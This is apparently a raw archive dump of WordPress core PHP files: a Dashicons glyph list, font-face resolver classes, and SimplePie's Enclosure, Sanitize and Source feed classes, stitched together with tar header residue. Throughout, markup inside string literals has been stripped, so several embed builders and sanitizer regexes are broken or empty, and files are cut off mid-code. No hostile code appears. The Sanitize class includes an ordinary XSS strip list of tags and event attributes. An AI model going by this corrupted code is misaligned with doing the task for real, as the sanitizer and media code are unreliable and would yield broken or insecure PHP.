!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUadmin-appearanceadmin-collapseadmin-commentsadmin-customizer admin-generic admin-home admin-links admin-mediaadmin-multisite admin-network admin-page admin-plugins admin-postadmin-settingsadmin-site-altadmin-site-alt2admin-site-alt3 admin-site admin-tools admin-usersairplanealbum align-centeralign-full-width align-left align-nonealign-pull-leftalign-pull-right align-right align-wideamazon analyticsarchivearrow-down-altarrow-down-alt2 arrow-downarrow-left-altarrow-left-alt2 arrow-leftarrow-right-altarrow-right-alt2 arrow-right arrow-up-alt arrow-up-alt2arrow-up-duplicatearrow-upartawardsbackupbankbeerbell block-defaultbook-altbookbuddicons-activitybuddicons-bbpress-logobuddicons-buddypress-logobuddicons-communitybuddicons-forumsbuddicons-friendsbuddicons-groups buddicons-pmbuddicons-repliesbuddicons-topicsbuddicons-trackingbuilding businessmanbusinessperson businesswomanbutton calculator calendar-altcalendar camera-altcameracarcarrotcartcategory chart-area chart-bar chart-line chart-pie clipboardclock cloud-saved cloud-uploadcloudcode-standardscoffee color-pickercolumns controls-backcontrols-forwardcontrols-pause controls-playcontrols-repeatcontrols-skipbackcontrols-skipforwardcontrols-volumeoffcontrols-volumeon cover-image dashboard database-adddatabase-exportdatabase-importdatabase-remove database-viewdatabasedesktopdismissdownload drumstick edit-large edit-pageediteditor-aligncentereditor-alignlefteditor-alignright editor-bold editor-breakeditor-code-duplicateeditor-contracteditor-customchar editor-expand editor-help editor-indenteditor-insertmore editor-italiceditor-justifyeditor-kitchensink editor-ltr editor-ol-rtl editor-oleditor-outdenteditor-paragrapheditor-paste-texteditor-paste-word editor-quoteeditor-removeformatting editor-rtleditor-spellcheckeditor-strikethrough editor-tableeditor-textcolor editor-uleditor-underline editor-unlink editor-videoellipsis email-alt email-alt2email embed-audio embed-generic embed-photo embed-post embed-video excerpt-viewexitexternal facebook-altfacebookfeedbackfilterflagfood format-aside format-audio format-chatformat-gallery format-image format-quote format-status format-videoformsfullscreen-altfullscreen-exit-altgamesgoogle grid-viewgroupshammerheadinghearthidden hourglasshtmlid-altid image-crop image-filterimage-flip-horizontalimage-flip-verticalimage-rotate-leftimage-rotate-right image-rotate images-alt images-alt2 index-card info-outlineinfo insert-after insert-beforeinsert instagramlaptoplayout leftright lightbulblinkedin list-view location-altlocationlock-duplicatemarker media-archive media-audio media-code media-defaultmedia-documentmedia-interactivemedia-spreadsheet media-text media-video megaphonemenu-alt menu-alt2 menu-alt3menu microphonemigrateminus money-altmoneymovenametag networkingno-altno open-folderpalmtree paperclippdf performancepetsphone pinterestplaylist-audioplaylist-videoplugins-checkedplus-alt plus-alt2pluspodio portfolio post-status pressthisprinterprivacyproducts randomizeredditredoremoverest-apirsssavedschedule screenoptionssearch share-alt share-alt2share shield-altshield shortcodeslides smartphonesmileysortsosspotify star-empty star-filled star-halfstickystore superhero-alt superherotable-col-aftertable-col-beforetable-col-deletetable-row-aftertable-row-beforetable-row-deletetablettagtagcloud testimonial text-pagetext thumbs-down thumbs-up tickets-altticketstide translationtrashtwitch twitter-alttwitterundouniversal-access-altuniversal-accessunlock update-altupdateuploadvault video-alt video-alt2 video-alt3 visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsapp wordpress-alt wordpressxingyes-altyesyoutubefonts/class-wp-font-face-resolver.php000064400000013024147177035020013644 0ustar00 array( 'fontFamilies' => array( 'theme' => $fonts, ), ), ); return static::parse_settings( $settings ); } /** * Parse theme.json settings to extract font definitions with variations grouped by font-family. * * @since 6.4.0 * * @param array $settings Font settings to parse. * @return array Returns an array of fonts, grouped by font-family. */ private static function parse_settings( array $settings ) { $fonts = array(); foreach ( $settings['typography']['fontFamilies'] as $font_families ) { foreach ( $font_families as $definition ) { // Skip if "fontFace" is not defined, meaning there are no variations. if ( empty( $definition['fontFace'] ) ) { continue; } // Skip if "fontFamily" is not defined. if ( empty( $definition['fontFamily'] ) ) { continue; } $font_family_name = static::maybe_parse_name_from_comma_separated_list( $definition['fontFamily'] ); // Skip if no font family is defined. if ( empty( $font_family_name ) ) { continue; } $fonts[] = static::convert_font_face_properties( $definition['fontFace'], $font_family_name ); } } return $fonts; } /** * Parse font-family name from comma-separated lists. * * If the given `fontFamily` is a comma-separated lists (example: "Inter, sans-serif" ), * parse and return the fist font from the list. * * @since 6.4.0 * * @param string $font_family Font family `fontFamily' to parse. * @return string Font-family name. */ private static function maybe_parse_name_from_comma_separated_list( $font_family ) { if ( str_contains( $font_family, ',' ) ) { $font_family = explode( ',', $font_family )[0]; } return trim( $font_family, "\"'" ); } /** * Converts font-face properties from theme.json format. * * @since 6.4.0 * * @param array $font_face_definition The font-face definitions to convert. * @param string $font_family_property The value to store in the font-face font-family property. * @return array Converted font-face properties. */ private static function convert_font_face_properties( array $font_face_definition, $font_family_property ) { $converted_font_faces = array(); foreach ( $font_face_definition as $font_face ) { // Add the font-family property to the font-face. $font_face['font-family'] = $font_family_property; // Converts the "file:./" src placeholder into a theme font file URI. if ( ! empty( $font_face['src'] ) ) { $font_face['src'] = static::to_theme_file_uri( (array) $font_face['src'] ); } // Convert camelCase properties into kebab-case. $font_face = static::to_kebab_case( $font_face ); $converted_font_faces[] = $font_face; } return $converted_font_faces; } /** * Converts each 'file:./' placeholder into a URI to the font file in the theme. * * The 'file:./' is specified in the theme's `theme.json` as a placeholder to be * replaced with the URI to the font file's location in the theme. When a "src" * beings with this placeholder, it is replaced, converting the src into a URI. * * @since 6.4.0 * * @param array $src An array of font file sources to process. * @return array An array of font file src URI(s). */ private static function to_theme_file_uri( array $src ) { $placeholder = 'file:./'; foreach ( $src as $src_key => $src_url ) { // Skip if the src doesn't start with the placeholder, as there's nothing to replace. if ( ! str_starts_with( $src_url, $placeholder ) ) { continue; } $src_file = str_replace( $placeholder, '', $src_url ); $src[ $src_key ] = get_theme_file_uri( $src_file ); } return $src; } /** * Converts all first dimension keys into kebab-case. * * @since 6.4.0 * * @param array $data The array to process. * @return array Data with first dimension keys converted into kebab-case. */ private static function to_kebab_case( array $data ) { foreach ( $data as $key => $value ) { $kebab_case = _wp_to_kebab_case( $key ); $data[ $kebab_case ] = $value; if ( $kebab_case !== $key ) { unset( $data[ $key ] ); } } return $data; } } fonts/class-wp-font-face.php000064400000024016147177035020012010 0ustar00 '', 'font-style' => 'normal', 'font-weight' => '400', 'font-display' => 'fallback', ); /** * Valid font-face property names. * * @since 6.4.0 * * @var string[] */ private $valid_font_face_properties = array( 'ascent-override', 'descent-override', 'font-display', 'font-family', 'font-stretch', 'font-style', 'font-weight', 'font-variant', 'font-feature-settings', 'font-variation-settings', 'line-gap-override', 'size-adjust', 'src', 'unicode-range', ); /** * Valid font-display values. * * @since 6.4.0 * * @var string[] */ private $valid_font_display = array( 'auto', 'block', 'fallback', 'swap', 'optional' ); /** * Array of font-face style tag's attribute(s) * where the key is the attribute name and the * value is its value. * * @since 6.4.0 * * @var string[] */ private $style_tag_attrs = array(); /** * Creates and initializes an instance of WP_Font_Face. * * @since 6.4.0 */ public function __construct() { if ( function_exists( 'is_admin' ) && ! is_admin() && function_exists( 'current_theme_supports' ) && ! current_theme_supports( 'html5', 'style' ) ) { $this->style_tag_attrs = array( 'type' => 'text/css' ); } } /** * Generates and prints the `@font-face` styles for the given fonts. * * @since 6.4.0 * * @param array[][] $fonts Optional. The font-families and their font variations. * See {@see wp_print_font_faces()} for the supported fields. * Default empty array. */ public function generate_and_print( array $fonts ) { $fonts = $this->validate_fonts( $fonts ); // Bail out if there are no fonts are given to process. if ( empty( $fonts ) ) { return; } $css = $this->get_css( $fonts ); /* * The font-face CSS is contained within and open a "; } } // Flash Media Player file types. // Preferred handler for MP3 file types. elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) { $height += 20; if ($native) { $embed .= "get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\">"; } else { $embed .= ""; } } // QuickTime 7 file types. Need to test with QuickTime 6. // Only handle MP3's if the Flash Media Player is not present. elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) { $height += 16; if ($native) { if ($placeholder !== '') { $embed .= "get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\">"; } else { $embed .= "get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\">"; } } else { $embed .= ""; } } // Windows Media elseif ($handler === 'wmedia') { $height += 45; if ($native) { $embed .= "get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\">"; } else { $embed .= ""; } } // Everything else else { $embed .= '' . $alt . ''; } return $embed; } /** * Get the real media type * * Often, feeds lie to us, necessitating a bit of deeper inspection. This * converts types to their canonical representations based on the file * extension * * @see get_type() * @param bool $find_handler Internal use only, use {@see get_handler()} instead * @return string MIME type */ public function get_real_type($find_handler = false) { // Mime-types by handler. $types_flash = ['application/x-shockwave-flash', 'application/futuresplash']; // Flash $types_fmedia = ['video/flv', 'video/x-flv','flv-application/octet-stream']; // Flash Media Player $types_quicktime = ['audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video']; // QuickTime $types_wmedia = ['application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx']; // Windows Media $types_mp3 = ['audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg']; // MP3 if ($this->get_type() !== null) { $type = strtolower($this->type); } else { $type = null; } // If we encounter an unsupported mime-type, check the file extension and guess intelligently. if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) { $extension = $this->get_extension(); if ($extension === null) { return null; } switch (strtolower($extension)) { // Audio mime-types case 'aac': case 'adts': $type = 'audio/acc'; break; case 'aif': case 'aifc': case 'aiff': case 'cdda': $type = 'audio/aiff'; break; case 'bwf': $type = 'audio/wav'; break; case 'kar': case 'mid': case 'midi': case 'smf': $type = 'audio/midi'; break; case 'm4a': $type = 'audio/x-m4a'; break; case 'mp3': case 'swa': $type = 'audio/mp3'; break; case 'wav': $type = 'audio/wav'; break; case 'wax': $type = 'audio/x-ms-wax'; break; case 'wma': $type = 'audio/x-ms-wma'; break; // Video mime-types case '3gp': case '3gpp': $type = 'video/3gpp'; break; case '3g2': case '3gp2': $type = 'video/3gpp2'; break; case 'asf': $type = 'video/x-ms-asf'; break; case 'flv': $type = 'video/x-flv'; break; case 'm1a': case 'm1s': case 'm1v': case 'm15': case 'm75': case 'mp2': case 'mpa': case 'mpeg': case 'mpg': case 'mpm': case 'mpv': $type = 'video/mpeg'; break; case 'm4v': $type = 'video/x-m4v'; break; case 'mov': case 'qt': $type = 'video/quicktime'; break; case 'mp4': case 'mpg4': $type = 'video/mp4'; break; case 'sdv': $type = 'video/sd-video'; break; case 'wm': $type = 'video/x-ms-wm'; break; case 'wmv': $type = 'video/x-ms-wmv'; break; case 'wvx': $type = 'video/x-ms-wvx'; break; // Flash mime-types case 'spl': $type = 'application/futuresplash'; break; case 'swf': $type = 'application/x-shockwave-flash'; break; } } if ($find_handler) { if (in_array($type, $types_flash)) { return 'flash'; } elseif (in_array($type, $types_fmedia)) { return 'fmedia'; } elseif (in_array($type, $types_quicktime)) { return 'quicktime'; } elseif (in_array($type, $types_wmedia)) { return 'wmedia'; } elseif (in_array($type, $types_mp3)) { return 'mp3'; } return null; } return $type; } } class_alias('SimplePie\Enclosure', 'SimplePie_Enclosure'); SimplePie/src/Sanitize.php000064400000061065147177035020011537 0ustar00 ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']]; public $strip_comments = false; public $output_encoding = 'UTF-8'; public $enable_cache = true; public $cache_location = './cache'; public $cache_name_function = 'md5'; /** * @var NameFilter */ private $cache_namefilter; public $timeout = 10; public $useragent = ''; public $force_fsockopen = false; public $replace_url_attributes = null; public $registry; /** * @var DataCache|null */ private $cache = null; /** * @var int Cache duration (in seconds) */ private $cache_duration = 3600; /** * List of domains for which to force HTTPS. * @see \SimplePie\Sanitize::set_https_domains() * Array is a tree split at DNS levels. Example: * array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true))) */ public $https_domains = []; public function __construct() { // Set defaults $this->set_url_replacements(null); } public function remove_div($enable = true) { $this->remove_div = (bool) $enable; } public function set_image_handler($page = false) { if ($page) { $this->image_handler = (string) $page; } else { $this->image_handler = false; } } public function set_registry(\SimplePie\Registry $registry)/* : void */ { $this->registry = $registry; } public function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie\Cache', ?DataCache $cache = null) { if (isset($enable_cache)) { $this->enable_cache = (bool) $enable_cache; } if ($cache_location) { $this->cache_location = (string) $cache_location; } if (!is_string($cache_name_function) && !is_object($cache_name_function) && !$cache_name_function instanceof NameFilter) { throw new InvalidArgumentException(sprintf( '%s(): Argument #3 ($cache_name_function) must be of type %s', __METHOD__, NameFilter::class ), 1); } // BC: $cache_name_function could be a callable as string if (is_string($cache_name_function)) { // trigger_error(sprintf('Providing $cache_name_function as string in "%s()" is deprecated since SimplePie 1.8.0, provide as "%s" instead.', __METHOD__, NameFilter::class), \E_USER_DEPRECATED); $this->cache_name_function = (string) $cache_name_function; $cache_name_function = new CallableNameFilter($cache_name_function); } $this->cache_namefilter = $cache_name_function; if ($cache !== null) { $this->cache = $cache; } } public function pass_file_data($file_class = 'SimplePie\File', $timeout = 10, $useragent = '', $force_fsockopen = false) { if ($timeout) { $this->timeout = (string) $timeout; } if ($useragent) { $this->useragent = (string) $useragent; } if ($force_fsockopen) { $this->force_fsockopen = (string) $force_fsockopen; } } public function strip_htmltags($tags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style']) { if ($tags) { if (is_array($tags)) { $this->strip_htmltags = $tags; } else { $this->strip_htmltags = explode(',', $tags); } } else { $this->strip_htmltags = false; } } public function encode_instead_of_strip($encode = false) { $this->encode_instead_of_strip = (bool) $encode; } public function rename_attributes($attribs = []) { if ($attribs) { if (is_array($attribs)) { $this->rename_attributes = $attribs; } else { $this->rename_attributes = explode(',', $attribs); } } else { $this->rename_attributes = false; } } public function strip_attributes($attribs = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc']) { if ($attribs) { if (is_array($attribs)) { $this->strip_attributes = $attribs; } else { $this->strip_attributes = explode(',', $attribs); } } else { $this->strip_attributes = false; } } public function add_attributes($attribs = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']]) { if ($attribs) { if (is_array($attribs)) { $this->add_attributes = $attribs; } else { $this->add_attributes = explode(',', $attribs); } } else { $this->add_attributes = false; } } public function strip_comments($strip = false) { $this->strip_comments = (bool) $strip; } public function set_output_encoding($encoding = 'UTF-8') { $this->output_encoding = (string) $encoding; } /** * Set element/attribute key/value pairs of HTML attributes * containing URLs that need to be resolved relative to the feed * * Defaults to |a|@href, |area|@href, |audio|@src, |blockquote|@cite, * |del|@cite, |form|@action, |img|@longdesc, |img|@src, |input|@src, * |ins|@cite, |q|@cite, |source|@src, |video|@src * * @since 1.0 * @param array|null $element_attribute Element/attribute key/value pairs, null for default */ public function set_url_replacements($element_attribute = null) { if ($element_attribute === null) { $element_attribute = [ 'a' => 'href', 'area' => 'href', 'audio' => 'src', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => [ 'longdesc', 'src' ], 'input' => 'src', 'ins' => 'cite', 'q' => 'cite', 'source' => 'src', 'video' => [ 'poster', 'src' ] ]; } $this->replace_url_attributes = (array) $element_attribute; } /** * Set the list of domains for which to force HTTPS. * @see \SimplePie\Misc::https_url() * Example array('biz', 'example.com', 'example.org', 'www.example.net'); */ public function set_https_domains($domains) { $this->https_domains = []; foreach ($domains as $domain) { $domain = trim($domain, ". \t\n\r\0\x0B"); $segments = array_reverse(explode('.', $domain)); $node = &$this->https_domains; foreach ($segments as $segment) {//Build a tree if ($node === true) { break; } if (!isset($node[$segment])) { $node[$segment] = []; } $node = &$node[$segment]; } $node = true; } } /** * Check if the domain is in the list of forced HTTPS. */ protected function is_https_domain($domain) { $domain = trim($domain, '. '); $segments = array_reverse(explode('.', $domain)); $node = &$this->https_domains; foreach ($segments as $segment) {//Explore the tree if (isset($node[$segment])) { $node = &$node[$segment]; } else { break; } } return $node === true; } /** * Force HTTPS for selected Web sites. */ public function https_url($url) { return (strtolower(substr($url, 0, 7)) === 'http://') && $this->is_https_domain(parse_url($url, PHP_URL_HOST)) ? substr_replace($url, 's', 4, 0) : //Add the 's' to HTTPS $url; } public function sanitize($data, $type, $base = '') { $data = trim($data); if ($data !== '' || $type & \SimplePie\SimplePie::CONSTRUCT_IRI) { if ($type & \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML) { if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . '>)/', $data)) { $type |= \SimplePie\SimplePie::CONSTRUCT_HTML; } else { $type |= \SimplePie\SimplePie::CONSTRUCT_TEXT; } } if ($type & \SimplePie\SimplePie::CONSTRUCT_BASE64) { $data = base64_decode($data); } if ($type & (\SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML)) { if (!class_exists('DOMDocument')) { throw new \SimplePie\Exception('DOMDocument not found, unable to use sanitizer'); } $document = new \DOMDocument(); $document->encoding = 'UTF-8'; $data = $this->preprocess($data, $type); set_error_handler(['SimplePie\Misc', 'silence_errors']); $document->loadHTML($data); restore_error_handler(); $xpath = new \DOMXPath($document); // Strip comments if ($this->strip_comments) { $comments = $xpath->query('//comment()'); foreach ($comments as $comment) { $comment->parentNode->removeChild($comment); } } // Strip out HTML tags and attributes that might cause various security problems. // Based on recommendations by Mark Pilgrim at: // http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely if ($this->strip_htmltags) { foreach ($this->strip_htmltags as $tag) { $this->strip_tag($tag, $document, $xpath, $type); } } if ($this->rename_attributes) { foreach ($this->rename_attributes as $attrib) { $this->rename_attr($attrib, $xpath); } } if ($this->strip_attributes) { foreach ($this->strip_attributes as $attrib) { $this->strip_attr($attrib, $xpath); } } if ($this->add_attributes) { foreach ($this->add_attributes as $tag => $valuePairs) { $this->add_attr($tag, $valuePairs, $document); } } // Replace relative URLs $this->base = $base; foreach ($this->replace_url_attributes as $element => $attributes) { $this->replace_urls($document, $element, $attributes); } // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags. if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache) { $images = $document->getElementsByTagName('img'); foreach ($images as $img) { if ($img->hasAttribute('src')) { $image_url = $this->cache_namefilter->filter($img->getAttribute('src')); $cache = $this->get_cache($image_url); if ($cache->get_data($image_url, false)) { $img->setAttribute('src', $this->image_handler . $image_url); } else { $file = $this->registry->create(File::class, [$img->getAttribute('src'), $this->timeout, 5, ['X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']], $this->useragent, $this->force_fsockopen]); $headers = $file->headers; if ($file->success && ($file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300))) { if ($cache->set_data($image_url, ['headers' => $file->headers, 'body' => $file->body], $this->cache_duration)) { $img->setAttribute('src', $this->image_handler . $image_url); } else { trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING); } } } } } } // Get content node $div = $document->getElementsByTagName('body')->item(0)->firstChild; // Finally, convert to a HTML string $data = trim($document->saveHTML($div)); if ($this->remove_div) { $data = preg_replace('/^/', '', $data); $data = preg_replace('/<\/div>$/', '', $data); } else { $data = preg_replace('/^/', '
    ', $data); } $data = str_replace('', '', $data); } if ($type & \SimplePie\SimplePie::CONSTRUCT_IRI) { $absolute = $this->registry->call(Misc::class, 'absolutize_url', [$data, $base]); if ($absolute !== false) { $data = $absolute; } } if ($type & (\SimplePie\SimplePie::CONSTRUCT_TEXT | \SimplePie\SimplePie::CONSTRUCT_IRI)) { $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8'); } if ($this->output_encoding !== 'UTF-8') { $data = $this->registry->call(Misc::class, 'change_encoding', [$data, 'UTF-8', $this->output_encoding]); } } return $data; } protected function preprocess($html, $type) { $ret = ''; $html = preg_replace('%]*?'.'>%is', '', $html); if ($type & ~\SimplePie\SimplePie::CONSTRUCT_XHTML) { // Atom XHTML constructs are wrapped with a div by default // Note: No protection if $html contains a stray
    ! $html = '
    ' . $html . '
    '; $ret .= ''; $content_type = 'text/html'; } else { $ret .= ''; $content_type = 'application/xhtml+xml'; } $ret .= ''; $ret .= ''; $ret .= '' . $html . ''; return $ret; } public function replace_urls($document, $tag, $attributes) { if (!is_array($attributes)) { $attributes = [$attributes]; } if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) { $elements = $document->getElementsByTagName($tag); foreach ($elements as $element) { foreach ($attributes as $attribute) { if ($element->hasAttribute($attribute)) { $value = $this->registry->call(Misc::class, 'absolutize_url', [$element->getAttribute($attribute), $this->base]); if ($value !== false) { $value = $this->https_url($value); $element->setAttribute($attribute, $value); } } } } } } public function do_strip_htmltags($match) { if ($this->encode_instead_of_strip) { if (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) { $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8'); $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8'); return "<$match[1]$match[2]>$match[3]</$match[1]>"; } else { return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8'); } } elseif (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) { return $match[4]; } else { return ''; } } protected function strip_tag($tag, $document, $xpath, $type) { $elements = $xpath->query('body//' . $tag); if ($this->encode_instead_of_strip) { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); // For elements which aren't script or style, include the tag itself if (!in_array($tag, ['script', 'style'])) { $text = '<' . $tag; if ($element->hasAttributes()) { $attrs = []; foreach ($element->attributes as $name => $attr) { $value = $attr->value; // In XHTML, empty values should never exist, so we repeat the value if (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_XHTML)) { $value = $name; } // For HTML, empty is fine elseif (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_HTML)) { $attrs[] = $name; continue; } // Standard attribute text $attrs[] = $name . '="' . $attr->value . '"'; } $text .= ' ' . implode(' ', $attrs); } $text .= '>'; $fragment->appendChild(new \DOMText($text)); } $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } if (!in_array($tag, ['script', 'style'])) { $fragment->appendChild(new \DOMText('')); } $element->parentNode->replaceChild($fragment, $element); } return; } elseif (in_array($tag, ['script', 'style'])) { foreach ($elements as $element) { $element->parentNode->removeChild($element); } return; } else { foreach ($elements as $element) { $fragment = $document->createDocumentFragment(); $number = $element->childNodes->length; for ($i = $number; $i > 0; $i--) { $child = $element->childNodes->item(0); $fragment->appendChild($child); } $element->parentNode->replaceChild($fragment, $element); } } } protected function strip_attr($attrib, $xpath) { $elements = $xpath->query('//*[@' . $attrib . ']'); foreach ($elements as $element) { $element->removeAttribute($attrib); } } protected function rename_attr($attrib, $xpath) { $elements = $xpath->query('//*[@' . $attrib . ']'); foreach ($elements as $element) { $element->setAttribute('data-sanitized-' . $attrib, $element->getAttribute($attrib)); $element->removeAttribute($attrib); } } protected function add_attr($tag, $valuePairs, $document) { $elements = $document->getElementsByTagName($tag); foreach ($elements as $element) { foreach ($valuePairs as $attrib => $value) { $element->setAttribute($attrib, $value); } } } /** * Get a DataCache * * @param string $image_url Only needed for BC, can be removed in SimplePie 2.0.0 * * @return DataCache */ private function get_cache($image_url = '') { if ($this->cache === null) { // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED); $cache = $this->registry->call(Cache::class, 'get_handler', [ $this->cache_location, $image_url, Base::TYPE_IMAGE ]); return new BaseDataCache($cache); } return $this->cache; } } class_alias('SimplePie\Sanitize', 'SimplePie_Sanitize'); SimplePie/src/Source.php000064400000057305147177035020011213 0ustar00` * * Used by {@see \SimplePie\Item::get_source()} * * This class can be overloaded with {@see \SimplePie::set_source_class()} * * @package SimplePie * @subpackage API */ class Source implements RegistryAware { public $item; public $data = []; protected $registry; public function __construct($item, $data) { $this->item = $item; $this->data = $data; } public function set_registry(\SimplePie\Registry $registry)/* : void */ { $this->registry = $registry; } public function __toString() { return md5(serialize($this->data)); } public function get_source_tags($namespace, $tag) { if (isset($this->data['child'][$namespace][$tag])) { return $this->data['child'][$namespace][$tag]; } return null; } public function get_base($element = []) { return $this->item->get_base($element); } public function sanitize($data, $type, $base = '') { return $this->item->sanitize($data, $type, $base); } public function get_item() { return $this->item; } public function get_title() { if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) { return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } return null; } public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } public function get_categories() { $categories = []; foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'category') as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'subject') as $category) { $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'subject') as $category) { $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } if (!empty($categories)) { return array_unique($categories); } return null; } public function get_author($key 